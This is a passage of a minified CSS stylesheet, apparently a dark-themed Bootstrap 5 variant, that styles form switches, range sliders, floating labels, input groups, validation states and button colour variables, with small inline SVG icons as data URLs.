8'%3e%3ccircle r='3' fill='%2351459d'/%3e%3c/svg%3e"); } .form-switch .form-check-input:checked { background-position: right center; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffffff'/%3e%3c/svg%3e"); } .form-switch.form-check-reverse { padding-right: 2.5em; padding-left: 0; } .form-switch.form-check-reverse .form-check-input { margin-right: -2.5em; margin-left: 0; } .form-check-inline { display: inline-block; margin-right: 1rem; } .btn-check { position: absolute; clip: rect(0, 0, 0, 0); pointer-events: none; } .btn-check[disabled] + .btn, .btn-check:disabled + .btn { pointer-events: none; filter: none; opacity: 0.65; } .form-range { width: 100%; height: 1.4rem; padding: 0; background-color: transparent; -webkit-appearance: none; -moz-appearance: none; appearance: none; } .form-range:focus { outline: 0; } .form-range:focus::-webkit-slider-thumb { box-shadow: 0 0 0 1px #22242c, 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-range:focus::-moz-range-thumb { box-shadow: 0 0 0 1px #22242c, 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-range::-moz-focus-outer { border: 0; } .form-range::-webkit-slider-thumb { width: 1rem; height: 1rem; margin-top: -0.25rem; background-color: #51459d; border: 0; border-radius: 1rem; -webkit-transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; -webkit-appearance: none; appearance: none; } @media (prefers-reduced-motion: reduce) { .form-range::-webkit-slider-thumb { -webkit-transition: none; transition: none; } } .form-range::-webkit-slider-thumb:active { background-color: #bbb6df; } .form-range::-webkit-slider-runnable-track { width: 100%; height: 0.5rem; color: transparent; cursor: pointer; background-color: #22242c; border-color: transparent; border-radius: 1rem; } .form-range::-moz-range-thumb { width: 1rem; height: 1rem; background-color: #51459d; border: 0; border-radius: 1rem; -moz-transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; -moz-appearance: none; appearance: none; } @media (prefers-reduced-motion: reduce) { .form-range::-moz-range-thumb { -moz-transition: none; transition: none; } } .form-range::-moz-range-thumb:active { background-color: #bbb6df; } .form-range::-moz-range-track { width: 100%; height: 0.5rem; color: transparent; cursor: pointer; background-color: #22242c; border-color: transparent; border-radius: 1rem; } .form-range:disabled { pointer-events: none; } .form-range:disabled::-webkit-slider-thumb { background-color: #adb5bd; } .form-range:disabled::-moz-range-thumb { background-color: #adb5bd; } .form-floating { position: relative; } .form-floating > .form-control, .form-floating > .custom-select, .form-floating > .dataTable-selector, .form-floating > .dataTable-input, .form-floating > .form-control-plaintext, .form-floating > .form-select { height: calc(3.6rem + 4px); line-height: 1.25; } .form-floating > label { position: absolute; top: 0; left: 0; width: 100%; height: 100%; padding: 1rem 1rem; overflow: hidden; text-align: start; text-overflow: ellipsis; white-space: nowrap; pointer-events: none; border: 2px solid transparent; transform-origin: 0 0; transition: opacity 0.1s ease-in-out, transform 0.1s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-floating > label { transition: none; } } .form-floating > .form-control, .form-floating > .custom-select, .form-floating > .dataTable-selector, .form-floating > .dataTable-input, .form-floating > .form-control-plaintext { padding: 1rem 1rem; } .form-floating > .form-control::-moz-placeholder, .form-floating > .custom-select::-moz-placeholder, .form-floating > .dataTable-selector::-moz-placeholder, .form-floating > .dataTable-input::-moz-placeholder, .form-floating > .form-control-plaintext::-moz-placeholder { color: transparent; } .form-floating > .form-control::placeholder, .form-floating > .custom-select::placeholder, .form-floating > .dataTable-selector::placeholder, .form-floating > .dataTable-input::placeholder, .form-floating > .form-control-plaintext::placeholder { color: transparent; } .form-floating > .form-control:not(:-moz-placeholder-shown), .form-floating > .custom-select:not(:-moz-placeholder-shown), .form-floating > .dataTable-selector:not(:-moz-placeholder-shown), .form-floating > .dataTable-input:not(:-moz-placeholder-shown), .form-floating > .form-control-plaintext:not(:-moz-placeholder-shown) { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-control:focus, .form-floating > .custom-select:focus, .form-floating > .dataTable-selector:focus, .form-floating > .dataTable-input:focus, .form-floating > .form-control:not(:placeholder-shown), .form-floating > .custom-select:not(:placeholder-shown), .form-floating > .dataTable-selector:not(:placeholder-shown), .form-floating > .dataTable-input:not(:placeholder-shown), .form-floating > .form-control-plaintext:focus, .form-floating > .form-control-plaintext:not(:placeholder-shown) { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-control:-webkit-autofill, .form-floating > .custom-select:-webkit-autofill, .form-floating > .dataTable-selector:-webkit-autofill, .form-floating > .dataTable-input:-webkit-autofill, .form-floating > .form-control-plaintext:-webkit-autofill { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-select { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-control:not(:-moz-placeholder-shown) ~ label, .form-floating > .custom-select:not(:-moz-placeholder-shown) ~ label, .form-floating > .dataTable-selector:not(:-moz-placeholder-shown) ~ label, .form-floating > .dataTable-input:not(:-moz-placeholder-shown) ~ label { opacity: 0.65; transform: scale(0.85) translateY(-0.5rem) translateX(0.15rem); } .form-floating > .form-control:focus ~ label, .form-floating > .custom-select:focus ~ label, .form-floating > .dataTable-selector:focus ~ label, .form-floating > .dataTable-input:focus ~ label, .form-floating > .form-control:not(:placeholder-shown) ~ label, .form-floating > .custom-select:not(:placeholder-shown) ~ label, .form-floating > .dataTable-selector:not(:placeholder-shown) ~ label, .form-floating > .dataTable-input:not(:placeholder-shown) ~ label, .form-floating > .form-control-plaintext ~ label, .form-floating > .form-select ~ label { opacity: 0.65; transform: scale(0.85) translateY(-0.5rem) translateX(0.15rem); } .form-floating > .form-control:-webkit-autofill ~ label, .form-floating > .custom-select:-webkit-autofill ~ label, .form-floating > .dataTable-selector:-webkit-autofill ~ label, .form-floating > .dataTable-input:-webkit-autofill ~ label { opacity: 0.65; transform: scale(0.85) translateY(-0.5rem) translateX(0.15rem); } .form-floating > .form-control-plaintext ~ label { border-width: 2px 0; } .input-group { position: relative; display: flex; flex-wrap: wrap; align-items: stretch; width: 100%; } .input-group > .form-control, .input-group > .custom-select, .input-group > .dataTable-selector, .input-group > .dataTable-input, .input-group > .form-select, .input-group > .form-floating { position: relative; flex: 1 1 auto; width: 1%; min-width: 0; } .input-group > .form-control:focus, .input-group > .custom-select:focus, .input-group > .dataTable-selector:focus, .input-group > .dataTable-input:focus, .input-group > .form-select:focus, .input-group > .form-floating:focus-within { z-index: 5; } .input-group .btn { position: relative; z-index: 2; } .input-group .btn:focus { z-index: 5; } .input-group-text { display: flex; align-items: center; padding: 0.575rem 1rem; font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: #808191; text-align: center; white-space: nowrap; background-color: #22242c; border: 2px solid #3E3F4A; border-radius: 6px; } .input-group-lg > .form-control, .input-group-lg > .custom-select, .input-group-lg > .dataTable-selector, .input-group-lg > .dataTable-input, .input-group-lg > .form-select, .input-group-lg > .input-group-text, .input-group-lg > .btn { padding: 0.5rem 1rem; font-size: 1.09375rem; border-radius: 8px; } .input-group-sm > .form-control, .input-group-sm > .custom-select, .input-group-sm > .dataTable-selector, .input-group-sm > .dataTable-input, .input-group-sm > .form-select, .input-group-sm > .input-group-text, .input-group-sm > .btn { padding: 0.25rem 0.5rem; font-size: 0.76563rem; border-radius: 4px; } .input-group-lg > .form-select, .input-group-sm > .form-select { padding-right: 2rem; } .input-group:not(.has-validation) > :not(:last-child):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating), .input-group:not(.has-validation) > .dropdown-toggle:nth-last-child(n + 3), .input-group:not(.has-validation) > .form-floating:not(:last-child) > .form-control, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .custom-select, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .dataTable-selector, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .dataTable-input, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .form-select { border-top-right-radius: 0; border-bottom-right-radius: 0; } .input-group.has-validation > :nth-last-child(n + 3):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating), .input-group.has-validation > .dropdown-toggle:nth-last-child(n + 4), .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .form-control, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .custom-select, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .dataTable-selector, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .dataTable-input, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .form-select { border-top-right-radius: 0; border-bottom-right-radius: 0; } .input-group > :not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback) { margin-left: -2px; border-top-left-radius: 0; border-bottom-left-radius: 0; } .input-group > .form-floating:not(:first-child) > .form-control, .input-group > .form-floating:not(:first-child) > .custom-select, .input-group > .form-floating:not(:first-child) > .dataTable-selector, .input-group > .form-floating:not(:first-child) > .dataTable-input, .input-group > .form-floating:not(:first-child) > .form-select { border-top-left-radius: 0; border-bottom-left-radius: 0; } .valid-feedback { display: none; width: 100%; margin-top: 0.25rem; font-size: 80%; color: #6fd943; } .valid-tooltip { position: absolute; top: 100%; z-index: 5; display: none; max-width: 100%; padding: 0.25rem 0.5rem; margin-top: .1rem; font-size: 0.76563rem; line-height: 1.5; color: #ffffff; background-color: rgba(111, 217, 67, 0.9); border-radius: 10px; } .was-validated :valid ~ .valid-feedback, .was-validated :valid ~ .valid-tooltip, .is-valid ~ .valid-feedback, .is-valid ~ .valid-tooltip { display: block; } .was-validated .form-control:valid, .was-validated .custom-select:valid, .was-validated .dataTable-selector:valid, .was-validated .dataTable-input:valid, .form-control.is-valid, .is-valid.custom-select, .is-valid.dataTable-selector, .is-valid.dataTable-input { border-color: #6fd943; padding-right: calc(1.5em + 1.15rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%236fd943' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e"); background-repeat: no-repeat; background-position: right calc(0.375em + 0.2875rem) center; background-size: calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-control:valid:focus, .was-validated .custom-select:valid:focus, .was-validated .dataTable-selector:valid:focus, .was-validated .dataTable-input:valid:focus, .form-control.is-valid:focus, .is-valid.custom-select:focus, .is-valid.dataTable-selector:focus, .is-valid.dataTable-input:focus { border-color: #6fd943; box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .was-validated textarea.form-control:valid, .was-validated textarea.custom-select:valid, .was-validated textarea.dataTable-selector:valid, .was-validated textarea.dataTable-input:valid, textarea.form-control.is-valid, textarea.is-valid.custom-select, textarea.is-valid.dataTable-selector, textarea.is-valid.dataTable-input { padding-right: calc(1.5em + 1.15rem); background-position: top calc(0.375em + 0.2875rem) right calc(0.375em + 0.2875rem); } .was-validated .form-select:valid, .form-select.is-valid { border-color: #6fd943; } .was-validated .form-select:valid:not([multiple]):not([size]), .was-validated .form-select:valid:not([multiple])[size="1"], .form-select.is-valid:not([multiple]):not([size]), .form-select.is-valid:not([multiple])[size="1"] { padding-right: calc(0.75em + 2.8625rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"), url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%236fd943' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e"); background-position: right 1rem center, center right 2rem; background-size: 16px 12px, calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-select:valid:focus, .form-select.is-valid:focus { border-color: #6fd943; box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .was-validated .form-control-color:valid, .form-control-color.is-valid { width: calc(3rem + calc(1.5em + 1.15rem)); } .was-validated .form-check-input:valid, .form-check-input.is-valid { border-color: #6fd943; } .was-validated .form-check-input:valid:checked, .form-check-input.is-valid:checked { background-color: #6fd943; } .was-validated .form-check-input:valid:focus, .form-check-input.is-valid:focus { box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label { color: #6fd943; } .form-check-inline .form-check-input ~ .valid-feedback { margin-left: .5em; } .was-validated .input-group > .form-control:not(:focus):valid, .was-validated .input-group > .custom-select:not(:focus):valid, .was-validated .input-group > .dataTable-selector:not(:focus):valid, .was-validated .input-group > .dataTable-input:not(:focus):valid, .input-group > .form-control:not(:focus).is-valid, .input-group > .custom-select:not(:focus).is-valid, .input-group > .dataTable-selector:not(:focus).is-valid, .input-group > .dataTable-input:not(:focus).is-valid, .was-validated .input-group > .form-select:not(:focus):valid, .input-group > .form-select:not(:focus).is-valid, .was-validated .input-group > .form-floating:not(:focus-within):valid, .input-group > .form-floating:not(:focus-within).is-valid { z-index: 3; } .invalid-feedback { display: none; width: 100%; margin-top: 0.25rem; font-size: 80%; color: #ff3a6e; } .invalid-tooltip { position: absolute; top: 100%; z-index: 5; display: none; max-width: 100%; padding: 0.25rem 0.5rem; margin-top: .1rem; font-size: 0.76563rem; line-height: 1.5; color: #ffffff; background-color: rgba(255, 58, 110, 0.9); border-radius: 10px; } .was-validated :invalid ~ .invalid-feedback, .was-validated :invalid ~ .invalid-tooltip, .is-invalid ~ .invalid-feedback, .is-invalid ~ .invalid-tooltip { display: block; } .was-validated .form-control:invalid, .was-validated .custom-select:invalid, .was-validated .dataTable-selector:invalid, .was-validated .dataTable-input:invalid, .form-control.is-invalid, .is-invalid.custom-select, .is-invalid.dataTable-selector, .is-invalid.dataTable-input { border-color: #ff3a6e; padding-right: calc(1.5em + 1.15rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ff3a6e' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23ff3a6e' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E"); background-repeat: no-repeat; background-position: right calc(0.375em + 0.2875rem) center; background-size: calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-control:invalid:focus, .was-validated .custom-select:invalid:focus, .was-validated .dataTable-selector:invalid:focus, .was-validated .dataTable-input:invalid:focus, .form-control.is-invalid:focus, .is-invalid.custom-select:focus, .is-invalid.dataTable-selector:focus, .is-invalid.dataTable-input:focus { border-color: #ff3a6e; box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .was-validated textarea.form-control:invalid, .was-validated textarea.custom-select:invalid, .was-validated textarea.dataTable-selector:invalid, .was-validated textarea.dataTable-input:invalid, textarea.form-control.is-invalid, textarea.is-invalid.custom-select, textarea.is-invalid.dataTable-selector, textarea.is-invalid.dataTable-input { padding-right: calc(1.5em + 1.15rem); background-position: top calc(0.375em + 0.2875rem) right calc(0.375em + 0.2875rem); } .was-validated .form-select:invalid, .form-select.is-invalid { border-color: #ff3a6e; } .was-validated .form-select:invalid:not([multiple]):not([size]), .was-validated .form-select:invalid:not([multiple])[size="1"], .form-select.is-invalid:not([multiple]):not([size]), .form-select.is-invalid:not([multiple])[size="1"] { padding-right: calc(0.75em + 2.8625rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"), url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ff3a6e' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23ff3a6e' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E"); background-position: right 1rem center, center right 2rem; background-size: 16px 12px, calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-select:invalid:focus, .form-select.is-invalid:focus { border-color: #ff3a6e; box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .was-validated .form-control-color:invalid, .form-control-color.is-invalid { width: calc(3rem + calc(1.5em + 1.15rem)); } .was-validated .form-check-input:invalid, .form-check-input.is-invalid { border-color: #ff3a6e; } .was-validated .form-check-input:invalid:checked, .form-check-input.is-invalid:checked { background-color: #ff3a6e; } .was-validated .form-check-input:invalid:focus, .form-check-input.is-invalid:focus { box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label { color: #ff3a6e; } .form-check-inline .form-check-input ~ .invalid-feedback { margin-left: .5em; } .was-validated .input-group > .form-control:not(:focus):invalid, .was-validated .input-group > .custom-select:not(:focus):invalid, .was-validated .input-group > .dataTable-selector:not(:focus):invalid, .was-validated .input-group > .dataTable-input:not(:focus):invalid, .input-group > .form-control:not(:focus).is-invalid, .input-group > .custom-select:not(:focus).is-invalid, .input-group > .dataTable-selector:not(:focus).is-invalid, .input-group > .dataTable-input:not(:focus).is-invalid, .was-validated .input-group > .form-select:not(:focus):invalid, .input-group > .form-select:not(:focus).is-invalid, .was-validated .input-group > .form-floating:not(:focus-within):invalid, .input-group > .form-floating:not(:focus-within).is-invalid { z-index: 4; } .btn { --bs-btn-padding-x: 1.3rem; --bs-btn-padding-y: 0.575rem; --bs-btn-font-family: ; --bs-btn-font-size: 0.875rem; --bs-btn-font-weight: 500; --bs-btn-line-height: 1.5; --bs-btn-color: #808191; --bs-btn-bg: transparent; --bs-btn-border-width: 2px; --bs-btn-border-color: transparent; --bs-btn-border-radius: 6px; --bs-btn-hover-border-color: transparent; --bs-btn-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075); --bs-btn-disabled-opacity: 0.65; --bs-btn-focus-box-shadow: 0 0 0 0.2rem rgba(var(--bs-btn-focus-shadow-rgb), .5); display: inline-block; padding: var(--bs-btn-padding-y) var(--bs-btn-padding-x); font-family: var(--bs-btn-font-family); font-size: var(--bs-btn-font-size); font-weight: var(--bs-btn-font-weight); line-height: var(--bs-btn-line-height); color: var(--bs-btn-color); text-align: center; vertical-align: middle; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; user-select: none; border: var(--bs-btn-border-width) solid var(--bs-btn-border-color); border-radius: var(--bs-btn-border-radius); background-color: var(--bs-btn-bg); transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .btn { transition: none; } } .btn:hover { color: var(--bs-btn-hover-color); text-decoration: none; background-color: var(--bs-btn-hover-bg); border-color: var(--bs-btn-hover-border-color); } .btn-check + .btn:hover { color: var(--bs-btn-color); background-color: var(--bs-btn-bg); border-color: var(--bs-btn-border-color); } .btn:focus-visible { color: var(--bs-btn-hover-color); background-color: var(--bs-btn-hover-bg); border-color: var(--bs-btn-hover-border-color); outline: 0; box-shadow: var(--bs-btn-focus-box-shadow); } .btn-check:focus-visible + .btn { border-color: var(--bs-btn-hover-border-color); outline: 0; box-shadow: var(--bs-btn-focus-box-shadow); } .btn-check:checked + .btn, :not(.btn-check) + .btn:active, .btn:first-child:active, .btn.active, .btn.show { color: var(--bs-btn-active-color); background-color: var(--bs-btn-active-bg); border-color: var(--bs-btn-active-border-color); } .btn-check:checked + .btn:focus-visible, :not(.btn-check) + .btn:active:focus-visible, .btn:first-child:active:focus-visible, .btn.active:focus-visible, .btn.show:focus-visible { box-shadow: var(--bs-btn-focus-box-shadow); } .btn:disabled, .btn.disabled, fieldset:disabled .btn { color: var(--bs-btn-disabled-color); pointer-events: none; background-color: var(--bs-btn-disabled-bg); border-color: var(--bs-btn-disabled-border-color); opacity: var(--bs-btn-disabled-opacity); } .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #51459d; --bs-btn-border-color: #51459d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #453b85; --bs-btn-hover-border-color: #41377e; --bs-btn-focus-shadow-rgb: 107, 97, 172; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #41377e; --bs-btn-active-border-color: #3d3476; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #51459d; --bs-btn-disabled-border-color: #51459d; } .btn-secondary { --bs-btn-color: #ffffff; --bs-btn-bg: #6c757d; --bs-btn-border-color: #6c757d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #5c636a; --bs-btn-hover-border-color: #565e64; --bs-btn-focus-shadow-rgb: 130, 138, 145; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #565e64; --bs-btn-active-border-color: #51585e; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #6c757d; --bs-btn-disabled-border-color: #6c757d; } .btn-success { --bs-btn-color: #ffffff; --bs-btn-bg: #6fd943; --bs-btn-border-color: #6fd943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #5eb839; --bs-btn-hover-border-color: #59ae36; --bs-btn-focus-shadow-rgb: 133, 223, 95; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #59ae36; --bs-btn-active-border-color: #53a332; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #6fd943; --bs-btn-disabled-border-color: #6fd943; } .btn-info { --bs-btn-color: #ffffff; --bs-btn-bg: #3ec9d6; --bs-btn-border-color: #3ec9d6; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #35abb6; --bs-btn-hover-border-color: #32a1ab; --bs-btn-focus-shadow-rgb: 91, 209, 220; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #32a1ab; --bs-btn-active-border-color: #2f97a1; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #3ec9d6; --bs-btn-disabled-border-color: #3ec9d6; } .btn-warning { --bs-btn-color: #ffffff; --bs-btn-bg: #ffa21d; --bs-btn-border-color: #ffa21d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #d98a19; --bs-btn-hover-border-color: #cc8217; --bs-btn-focus-shadow-rgb: 255, 176, 63; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #cc8217; --bs-btn-active-border-color: #bf7a16; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #ffa21d; --bs-btn-disabled-border-color: #ffa21d; } .btn-danger { --bs-btn-color: #ffffff; --bs-btn-bg: #ff3a6e; --bs-btn-border-color: #ff3a6e; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #d9315e; --bs-btn-hover-border-color: #cc2e58; --bs-btn-focus-shadow-rgb: 255, 88, 132; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #cc2e58; --bs-btn-active-border-color: #bf2c53; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #ff3a6e; --bs-btn-disabled-border-color: #ff3a6e; } .btn-light { --bs-btn-color: #212529; --bs-btn-bg: #f8f9fa; --bs-btn-border-color: #f8f9fa; --bs-btn-hover-color: #212529; --bs-btn-hover-bg: #d3d4d5; --bs-btn-hover-border-color: #c6c7c8; --bs-btn-focus-shadow-rgb: 216, 217, 219; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #c6c7c8; --bs-btn-active-border-color: #babbbc; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #212529; --bs-btn-disabled-bg: #f8f9fa; --bs-btn-disabled-border-color: #f8f9fa; } .btn-dark { --bs-btn-color: #ffffff; --bs-btn-bg: #1c232f; --bs-btn-border-color: #1c232f; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #3e444e; --bs-btn-hover-border-color: #333944; --bs-btn-focus-shadow-rgb: 62, 68, 78; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #494f59; --bs-btn-active-border-color: #333944; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #1c232f; --bs-btn-disabled-border-color: #1c232f; } .btn-outline-primary { --bs-btn-color: #51459d; --bs-btn-border-color: #51459d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #51459d; --bs-btn-hover-border-color: #51459d; --bs-btn-focus-shadow-rgb: 81, 69, 157; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #51459d; --bs-btn-active-border-color: #51459d; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #51459d; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #51459d; --bs-gradient: none; } .btn-outline-secondary { --bs-btn-color: #6c757d; --bs-btn-border-color: #6c757d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #6c757d; --bs-btn-hover-border-color: #6c757d; --bs-btn-focus-shadow-rgb: 108, 117, 125; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #6c757d; --bs-btn-active-border-color: #6c757d; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #6c757d; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #6c757d; --bs-gradient: none; } .btn-outline-success { --bs-btn-color: #6fd943; --bs-btn-border-color: #6fd943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #6fd943; --bs-btn-hover-border-color: #6fd943; --bs-btn-focus-shadow-rgb: 111, 217, 67; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #6fd943; --bs-btn-active-border-color: #6fd943; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #6fd943; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #6fd943; --bs-gradient: none; } .btn-outline-info { --bs-btn-color: #3ec9d6; --bs-btn-border-color: #3ec9d6; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #3ec9d6; --bs-btn-hover-border-color: #3ec9d6; --bs-btn-focus-shadow-rgb: 62, 201, 214; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #3ec9d6; --bs-btn-active-border-color: #3ec9d6; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #3ec9d6; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #3ec9d6; --bs-gradient: none; } .btn-outline-warning { --bs-btn-color: #ffa21d; --bs-btn-border-color: #ffa21d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #ffa21d; --bs-btn-hover-border-color: #ffa21d; --bs-btn-focus-shadow-rgb: 255, 162, 29; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #ffa21d; --bs-btn-active-border-color: #ffa21d; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffa21d; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #ffa21d; --bs-gradient: none; } .btn-outline-danger { --bs-btn-color: #ff3a6e; --bs-btn-border-color: #ff3a6e; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #ff3a6e; --bs-btn-hover-border-color: #ff3a6e; --bs-btn-focus-shadow-rgb: 255, 58, 110; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #ff3a6e; --bs-btn-active-border-color: #ff3a6e; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ff3a6e; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #ff3a6e; --bs-gradient: none; } .btn-outline-light { --bs-btn-color: #f8f9fa; --bs-btn-border-color: #f8f9fa; --bs-btn-hover-color: #212529; --bs-btn-hover-bg: #f8f9fa; --bs-btn-hover-border-color: #f8f9fa; --bs-btn-focus-shadow-rgb: 248, 249, 250; --bs-btn-active-color: #212529; --bs-btn-active-bg: #f8f9fa; --bs-btn-active-border-color: #f8f9fa; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #f8f9fa; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #f8f9fa; --bs-gradient: none; } .btn-outline-dark { --bs-btn-color: #1c232f; --bs-btn-border-color: #1c232f; --bs-btn-hover-color: #ffffff; 